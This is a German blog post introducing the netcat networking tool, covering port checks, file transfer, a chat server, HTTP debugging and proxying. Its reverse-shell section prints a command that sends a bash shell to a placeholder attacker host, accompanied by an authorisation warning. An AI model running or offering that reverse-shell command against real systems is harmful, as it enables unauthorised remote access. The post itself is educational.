netcat
Netcat ist eines dieser Tools, die jeder Entwickler und Sysadmin kennen sollte. Ich kenne es auch erst seit ein paar Tagen, aber bin beeindruckt, für was ein so simples Tool verwendet werden kann.
Was ist Netcat?
Netcat (oder kurz nc
) ist ein simples Command-Line-Tool, das TCP/UDP-Verbindungen aufbauen, lauschen und Daten übertragen kann. Du kannst damit so ziemlich alles machen – von schnellen Port-Checks bis hin zu improvisierten Chat-Servern.
Installation
Die meisten Linux-Distributionen haben netcat bereits installiert. Auf macOS bekommst du es über Homebrew:
brew install netcat
Windows-User können es über WSL nutzen oder eine Windows-Version runterladen. Alternativ die Installation mit winget
:
winget install Insecure.Nmap
Auch wenn es verwirrend ist, aber netcat
ist hier Teil von nmap
, wird aber anstatt mit nc
mit ncat
gestartet.
Ein paar Basics
Der einfachste Use Case ist das Checken, ob ein Port offen ist:
# Ist Port 80 auf example.com offen?
nc -zv example.com 80
# Port-Range scannen
nc -zv example.com 20-25
Das -z
Flag macht einen Zero-I/O-Scan (keine Daten senden), -v
für verbose Output.
File-Transfer
Manchmal will man einfach eine Datei von A nach B zu kopieren, ohne SSH oder FTP aufzusetzen. Das geht mit netcat sehr einfach:
Schritt 1: Empfänger vorbereiten
# Auf dem Ziel-System (wo die Datei ankommen soll)
nc -l -p 1234 > received_file.txt
Hier passiert folgendes:
-l
startet den Listen-Mode (netcat wartet auf Verbindungen)-p 1234
definiert Port 1234 als Listening-Port> received_file.txt
leitet alles, was ankommt, in diese Datei um
Schritt 2: Datei senden
# Auf dem Quell-System (wo die Datei liegt)
nc target_ip 1234 < file_to_send.txt
Das macht Folgendes:
- Verbindet sich zu
target_ip
auf Port 1234 < file_to_send.txt
liest die Datei und schickt den Inhalt über die Verbindung
Wichtig: Du musst zuerst den Empfänger starten, dann erst den Sender. Sonst läuft der Sender ins Leere.
Praktisches Beispiel:
# Server (IP: 192.168.1.100)
nc -l -p 5555 > backup.sql
# Client
nc 192.168.1.100 5555 < database_dump.sql
Tada, fertig. Kein Setup, keine Authentifizierung, einfach nur Daten-Transfer. Ist natürlich komplett unverschlüsselt, also nur für interne Netzwerke verwenden!
Simple Chat-Server
Für schnelle Team-Kommunikation ohne Internet:
Server:
nc -l -p 1234
Client:
nc server_ip 1234
Jetzt könnt ihr euch Nachrichten schicken, aber wie schon zuvor, auch hier unverschlüsselt.
Web-Server-Debugging
Du kannst raw HTTP-Requests absetzen und Responses analysieren:
# HTTP-Request manuell bauen
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
Das ist hilfreich, wenn du verstehen willst, was genau zwischen Client und Server passiert.
Reverse Shells
Netcat kann auch Reverse Shells erstellen. Das ist ein mächtiges Feature, aber auch gefährlich:
# Listener aufsetzen
nc -l -p 1234
# Von anderem System verbinden und Shell weiterleiten
nc attacker_ip 1234 -e /bin/bash
⚠️ WICHTIGER HINWEIS: Nutze das NUR in kontrollierten Umgebungen für Tests! In Production ist das ein massives Security-Risiko. Außerdem kann das rechtlich problematisch werden – Reverse Shells können als Hacking-Tool eingestuft werden. Verwende es nur auf Systemen, die dir gehören oder wo du explizite Erlaubnis hast. Wenn du Pentesting oder Security-Audits machst, kläre das vorher rechtlich ab.
Proxying und Relaying
Du kannst netcat als simplen Proxy verwenden:
# Traffic von Port 8080 zu example.com:80 weiterleiten
mkfifo backpipe
nc -l -p 8080 0<backpipe | nc example.com 80 1>backpipe
Nützliche Flags im Überblick
-l
: Listen-Mode (Server)-
n: keine DNS-Namensauflösung; IP direkt verwenden-p
: Port angeben-v
: Verbose Output-z
: Zero-I/O-Mode (nur Connection-Test)-u
: UDP statt TCP verwenden-w
: Timeout setzen-k
: Keep-Alive für mehrere Connections
Praktische Beispiele
Database-Connection testen
# MySQL-Port checken
nc -zv mysql-server 3306
Load-Balancer-Debugging
# Mehrere Requests um Round-Robin zu testen
for i in {1..10}; do echo "Request $i" | nc lb-server 80; done
Application-Level Latency messen
# TCP-Latency zu einem spezifischen Service messen
time echo "HEAD / HTTP/1.0\r\n\r\n" | nc web-server 80
Das ist anders als ping
(ICMP), weil du hier die echte TCP-Verbindungszeit zu einem spezifischen Port misst. Praktisch, wenn ICMP geblockt ist oder du die Latency zu einem konkreten Service brauchst.
Fazit
Netcat ist so ein Tool, das du wahrscheinlich nicht täglich brauchst, aber wenn du es brauchst, dann richtig. Ich kenne es auch erst seit ein paar Tagen, aber ich kann mir gut vorstellen, dass es bei verschiedenen Debugging-Situationen ziemlich praktisch ist.
Das Coole an netcat: Es ist simpel, macht genau das, was es soll, und ist überall verfügbar. Kein komplexes Setup, keine Abhängigkeiten – einfach nur rohe Netzwerk-Kommunikation. Perfekt für die Momente, in denen du schnell mal testen musst, ob ein Port offen ist oder eine Datei kopieren willst.